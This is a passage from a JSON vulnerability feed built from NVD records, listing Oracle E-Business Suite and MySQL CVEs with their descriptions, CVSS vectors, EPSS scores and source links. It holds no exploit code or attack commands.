2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101824&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101824, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101823","cveId":"CVE-2026-101823","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  Successful attacks of this vulnerability can result in takeover of Oracle Bills of Material. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  Successful attacks of this vulnerability can result in takeover of Oracle Bills of Material. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:38.267Z","updatedAt":"2026-10-22T16:17:19.240Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101823","asOf":"2026-10-22T16:17:19.240Z"},"epss":{"probability":0.00301,"percentile":0.22574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101823&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101823","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101823","type":"primary","publishedAt":"2026-10-20T22:18:38.267Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101823&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101823, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101822","cveId":"CVE-2026-101822","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  While the vulnerability is in Oracle Bills of Material, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Bills of Material accessible data as well as  unauthorized read access to a subset of Oracle Bills of Material accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Bills of Material. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:L).","detail":"Vulnerability in the Oracle Bills of Material product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Bills of Material.  While the vulnerability is in Oracle Bills of Material, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized creation, deletion or modification access to critical data or all Oracle Bills of Material accessible data as well as  unauthorized read access to a subset of Oracle Bills of Material accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Bills of Material. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:38.150Z","updatedAt":"2026-10-22T18:17:25.953Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:H/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101822","asOf":"2026-10-22T18:17:25.953Z"},"epss":{"probability":0.00256,"percentile":0.16983,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101822&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101822","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101822","type":"primary","publishedAt":"2026-10-20T22:18:38.150Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101822&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101822, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101820","cveId":"CVE-2026-101820","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: ADADMIN).","summary":"Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: ADADMIN).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle General Ledger.  Successful attacks of this vulnerability can result in takeover of Oracle General Ledger. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle General Ledger product of Oracle E-Business Suite (component: ADADMIN).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle General Ledger.  Successful attacks of this vulnerability can result in takeover of Oracle General Ledger. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:37.923Z","updatedAt":"2026-10-22T16:17:19.097Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101820","asOf":"2026-10-22T16:17:19.097Z"},"epss":{"probability":0.00301,"percentile":0.22574,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101820&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101820","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101820","type":"primary","publishedAt":"2026-10-20T22:18:37.923Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101820&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101820, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101818","cveId":"CVE-2026-101818","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog).","summary":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Product Hub accessible data as well as  unauthorized update, insert or delete access to some of Oracle Product Hub accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Product Hub. CVSS 3.1 Base Score 7.7 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L).","detail":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Item Catalog).  Supported versions that are affected are 12.2.3-12.2.15. Difficult to exploit vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Product Hub.  While the vulnerability is in Oracle Product Hub, attacks may significantly impact additional products (scope change).  Successful attacks of this vulnerability can result in  unauthorized access to critical data or complete access to all Oracle Product Hub accessible data as well as  unauthorized update, insert or delete access to some of Oracle Product Hub accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Product Hub. CVSS 3.1 Base Score 7.7 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:37.697Z","updatedAt":"2026-10-22T18:17:25.547Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.7,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101818","asOf":"2026-10-22T18:17:25.547Z"},"epss":{"probability":0.00229,"percentile":0.13621,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101818&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101818","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101818","type":"primary","publishedAt":"2026-10-20T22:18:37.697Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101818&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101818, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101816","cveId":"CVE-2026-101816","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Product Hub product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Product Hub.  Successful attacks of this vulnerability can result in takeover of Oracle Product Hub. CVSS 3.1 Base Score 7.2 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:37.583Z","updatedAt":"2026-10-22T16:17:18.963Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101816","asOf":"2026-10-22T16:17:18.963Z"},"epss":{"probability":0.0043,"percentile":0.37003,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101816&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101816","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101816","type":"primary","publishedAt":"2026-10-20T22:18:37.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101816&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101816, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101815","cveId":"CVE-2026-101815","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Assets product of Oracle E-Business Suite (component: Internal Operations).","summary":"Vulnerability in the Assets product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Assets.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Assets as well as  unauthorized update, insert or delete access to some of Assets accessible data and  unauthorized read access to a subset of Assets accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H).","detail":"Vulnerability in the Assets product of Oracle E-Business Suite (component: Internal Operations).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Assets.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Assets as well as  unauthorized update, insert or delete access to some of Assets accessible data and  unauthorized read access to a subset of Assets accessible data. CVSS 3.1 Base Score 7.6 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:37.470Z","updatedAt":"2026-10-22T18:17:25.410Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101815","asOf":"2026-10-22T18:17:25.410Z"},"epss":{"probability":0.00278,"percentile":0.20047,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101815&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101815","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101815","type":"primary","publishedAt":"2026-10-20T22:18:37.470Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101815&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101815, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101813","cveId":"CVE-2026-101813","aliases":[],"kind":"vulnerability","title":"Vulnerability in the Oracle Engineering product of Oracle E-Business Suite (component: Change Management).","summary":"Vulnerability in the Oracle Engineering product of Oracle E-Business Suite (component: Change Management).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Engineering.  Successful attacks of this vulnerability can result in takeover of Oracle Engineering. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the Oracle Engineering product of Oracle E-Business Suite (component: Change Management).  Supported versions that are affected are 12.2.3-12.2.15. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Engineering.  Successful attacks of this vulnerability can result in takeover of Oracle Engineering. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:37.230Z","updatedAt":"2026-10-24T04:18:15.690Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101813","asOf":"2026-10-24T04:18:15.690Z"},"epss":{"probability":0.00433,"percentile":0.37304,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101813&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101813","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101813","type":"primary","publishedAt":"2026-10-20T22:18:37.230Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101813&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101813, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101810","cveId":"CVE-2026-101810","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).","summary":"Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).   The supported version that is affected is 26.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Router.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Router. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).","detail":"Vulnerability in the MySQL Router product of Oracle MySQL (component: Router: General).   The supported version that is affected is 26.7.0. Easily exploitable vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Router.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Router. CVSS 3.1 Base Score 7.5 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:37.010Z","updatedAt":"2026-10-22T19:17:35.223Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101810","asOf":"2026-10-22T19:17:35.223Z"},"epss":{"probability":0.00486,"percentile":0.41596,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101810&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101810","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101810","type":"primary","publishedAt":"2026-10-20T22:18:37.010Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-101810&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-101810, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-101797","cveId":"CVE-2026-101797","aliases":[],"kind":"vulnerability","title":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client: mysqldump).","summary":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client: mysqldump).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).","detail":"Vulnerability in the MySQL Server, MySQL Cluster product of Oracle MySQL (component: Client: mysqldump).  Supported versions that are affected are MySQL Server: 8.4.0-8.4.12, 9.7.0-9.7.3, 26.7.0-26.7.1; MySQL Cluster: 8.0.0-8.0.49, 8.4.0-8.4.12, 9.7.0-9.7.3 and  26.7.0-26.7.1. Difficult to exploit vulnerability allows unauthenticated attacker with network access via multiple protocols to compromise MySQL Server, MySQL Cluster.  Successful attacks require human interaction from a person other than the attacker. Successful attacks of this vulnerability can result in takeover of MySQL Server, MySQL Cluster. CVSS 3.1 Base Score 7.5 (Confidentiality, Integrity and Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H).\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:35.503Z","updatedAt":"2026-10-22T16:17:18.007Z","regions":["Global"],"vendor":null,"product":null,"stacks":["MySQL and MariaDB","Oracle"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-101797","asOf":"2026-10-22T16:17:18.007Z"},"epss":{"probability":0.00287,"percentile":0.20993,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-101797&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-101797","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-101797","type":"primary","publishedAt":"2026-10-20T22:18:35.503Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS 